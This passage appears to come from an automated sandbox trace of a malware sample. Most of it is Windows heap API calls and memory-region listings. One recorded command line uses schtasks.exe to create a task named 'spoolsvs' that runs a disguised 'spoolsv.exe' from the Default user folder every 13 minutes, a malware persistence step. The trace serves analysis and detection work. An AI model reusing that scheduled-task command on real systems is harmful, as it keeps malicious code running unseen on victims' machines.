Flags=0x0, MemoryPointer=0x2fcd60) returned 0x20 [0159.331] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd60 | out: hHeap=0x2e0000) returned 1 [0159.331] GetProcessHeap () returned 0x2e0000 [0159.331] GetProcessHeap () returned 0x2e0000 [0159.332] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5c0) returned 1 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd5c0) returned 0x16 [0159.332] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5c0 | out: hHeap=0x2e0000) returned 1 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd30) returned 1 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd30) returned 0x20 [0159.332] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd30 | out: hHeap=0x2e0000) returned 1 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5e0) returned 1 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd5e0) returned 0x16 [0159.332] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd5e0 | out: hHeap=0x2e0000) returned 1 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.332] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd00) returned 1 [0159.332] GetProcessHeap () returned 0x2e0000 [0159.333] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd00) returned 0x20 [0159.333] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd00 | out: hHeap=0x2e0000) returned 1 [0159.333] GetProcessHeap () returned 0x2e0000 [0159.333] GetProcessHeap () returned 0x2e0000 [0159.333] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x319cc0) returned 1 [0159.333] GetProcessHeap () returned 0x2e0000 [0159.333] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x319cc0) returned 0x82 [0159.333] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x319cc0 | out: hHeap=0x2e0000) returned 1 [0159.333] GetProcessHeap () returned 0x2e0000 [0159.333] GetProcessHeap () returned 0x2e0000 [0159.333] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fccd0) returned 1 [0159.333] GetProcessHeap () returned 0x2e0000 [0159.333] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fccd0) returned 0x20 [0159.334] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fccd0 | out: hHeap=0x2e0000) returned 1 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd620) returned 1 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd620) returned 0xe [0159.334] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd620 | out: hHeap=0x2e0000) returned 1 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcca0) returned 1 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcca0) returned 0x20 [0159.334] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcca0 | out: hHeap=0x2e0000) returned 1 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba30) returned 1 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fba30) returned 0x18 [0159.334] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba30 | out: hHeap=0x2e0000) returned 1 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.334] GetProcessHeap () returned 0x2e0000 [0159.335] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a20) returned 1 [0159.335] GetProcessHeap () returned 0x2e0000 [0159.335] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5a20) returned 0x20 [0159.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a20 | out: hHeap=0x2e0000) returned 1 [0159.335] GetProcessHeap () returned 0x2e0000 [0159.335] GetProcessHeap () returned 0x2e0000 [0159.335] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a50) returned 1 [0159.335] GetProcessHeap () returned 0x2e0000 [0159.335] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5a50) returned 0x20 [0159.335] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a50 | out: hHeap=0x2e0000) returned 1 [0159.335] GetProcessHeap () returned 0x2e0000 [0159.335] GetProcessHeap () returned 0x2e0000 [0159.335] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a80) returned 1 [0159.335] GetProcessHeap () returned 0x2e0000 [0159.335] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5a80) returned 0x20 [0159.336] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5a80 | out: hHeap=0x2e0000) returned 1 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.336] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5ab0) returned 1 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.336] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5ab0) returned 0x20 [0159.336] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5ab0 | out: hHeap=0x2e0000) returned 1 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.336] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba50) returned 1 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.336] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fba50) returned 0x18 [0159.336] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba50 | out: hHeap=0x2e0000) returned 1 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.336] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5ae0) returned 1 [0159.336] GetProcessHeap () returned 0x2e0000 [0159.337] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5ae0) returned 0x20 [0159.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5ae0 | out: hHeap=0x2e0000) returned 1 [0159.337] GetProcessHeap () returned 0x2e0000 [0159.337] GetProcessHeap () returned 0x2e0000 [0159.337] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b70) returned 1 [0159.337] GetProcessHeap () returned 0x2e0000 [0159.337] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5b70) returned 0x20 [0159.337] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5b70 | out: hHeap=0x2e0000) returned 1 [0159.337] GetProcessHeap () returned 0x2e0000 [0159.337] GetProcessHeap () returned 0x2e0000 [0159.337] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bd0) returned 1 [0159.337] GetProcessHeap () returned 0x2e0000 [0159.337] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bd0) returned 0x20 [0159.338] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bd0 | out: hHeap=0x2e0000) returned 1 [0159.338] GetProcessHeap () returned 0x2e0000 [0159.338] GetProcessHeap () returned 0x2e0000 [0159.338] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5c30) returned 1 [0159.338] GetProcessHeap () returned 0x2e0000 [0159.338] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5c30) returned 0x20 [0159.338] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5c30 | out: hHeap=0x2e0000) returned 1 [0159.338] GetProcessHeap () returned 0x2e0000 [0159.338] GetProcessHeap () returned 0x2e0000 [0159.338] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5c60) returned 1 [0159.338] GetProcessHeap () returned 0x2e0000 [0159.338] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5c60) returned 0x20 [0159.339] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5c60 | out: hHeap=0x2e0000) returned 1 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba70) returned 1 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fba70) returned 0x18 [0159.339] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fba70 | out: hHeap=0x2e0000) returned 1 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5ba0) returned 1 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5ba0) returned 0x20 [0159.339] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5ba0 | out: hHeap=0x2e0000) returned 1 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb9f0) returned 1 [0159.339] GetProcessHeap () returned 0x2e0000 [0159.339] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb9f0) returned 0x18 [0159.339] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb9f0 | out: hHeap=0x2e0000) returned 1 [0159.339] exit (_Code=0) Thread: id = 203 os_tid = 0x8a8 Process: id = "56" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x4002a000" os_pid = "0x8b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"spoolsvs\" /sc MINUTE /mo 13 /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4261 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4262 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4263 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4264 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 4265 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4266 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4267 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4268 start_va = 0xffbf0000 end_va = 0xffc37fff monitored = 1 entry_point = 0xffc1966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4269 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4270 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4271 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4272 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4273 start_va = 0xd0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4274 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4275 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4276 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4277 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4278 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4279 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4280 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4281 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4282 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4283 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4284 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4285 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4286 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4287 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4288 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4289 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4290 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4291 start_va = 0x140000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4292 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4293 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4294 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4295 start_va = 0x420000 end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 4296 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4297 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4298 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4299 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 4300 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 4301 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4302 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4303 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4304 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4305 start_va = 0x1b40000 end_va = 0x1e0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4306 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4307 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4308 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4309 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4310 start_va = 0x1e10000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 4311 start_va = 0x1ed0000 end_va = 0x1faefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 4312 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4313 start_va = 0x2170000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 4314 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4315 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4316 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 4317 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4318 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 4319 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4320 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4349 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 204 os_tid = 0x8b4 [0159.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf760 | out: lpSystemTimeAsFileTime=0xbf760*(dwLowDateTime=0x2b192b60, dwHighDateTime=0x1d8a92a)) [0159.179] GetCurrentProcessId () returned 0x8b0 [0159.179] GetCurrentThreadId () returned 0x8b4 [0159.179] GetTickCount () returned 0x138bf20 [0159.179] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xbf768 | out: lpPerformanceCount=0xbf768*=2063804240750) returned 1 [0159.179] GetModuleHandleW (lpModuleName=0x0) returned 0xffbf0000 [0159.179] __set_app_type (_Type=0x1) [0159.179] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc1972c) returned 0x0 [0159.180] __wgetmainargs (in: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248, _DoWildCard=0, _StartInfo=0xffc3125c | out: _Argc=0xffc31240, _Argv=0xffc31250, _Env=0xffc31248) returned 0 [0159.180] _onexit (_Func=0xffc22ab0) returned 0xffc22ab0 [0159.180] _onexit (_Func=0xffc22ac4) returned 0xffc22ac4 [0159.180] _onexit (_Func=0xffc22afc) returned 0xffc22afc [0159.181] _onexit (_Func=0xffc22b58) returned 0xffc22b58 [0159.181] _onexit (_Func=0xffc22b80) returned 0xffc22b80 [0159.181] _onexit (_Func=0xffc22ba8) returned 0xffc22ba8 [0159.181] _onexit (_Func=0xffc22bd0) returned 0xffc22bd0 [0159.181] _onexit (_Func=0xffc22bf8) returned 0xffc22bf8 [0159.181] _onexit (_Func=0xffc22c20) returned 0xffc22c20 [0159.181] _onexit (_Func=0xffc22c48) returned 0xffc22c48 [0159.181] _onexit (_Func=0xffc22c70) returned 0xffc22c70 [0159.181] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0159.181] WinSqmIsOptedIn () returned 0x0 [0159.182] GetProcessHeap () returned 0x220000 [0159.182] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23b960 [0159.182] SetLastError (dwErrCode=0x0) [0159.182] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0159.182] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0159.182] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0159.182] VerifyVersionInfoW (in: lpVersionInformation=0xbef20, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbef20) returned 1 [0159.182] GetProcessHeap () returned 0x220000 [0159.182] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23b980 [0159.182] lstrlenW (lpString="") returned 0 [0159.182] GetProcessHeap () returned 0x220000 [0159.182] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x2) returned 0x23b9a0 [0159.182] GetProcessHeap () returned 0x220000 [0159.182] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235900 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23b9c0 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235930 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235960 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235990 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x2359c0 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23b9e0 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x2359f0 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a20 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, 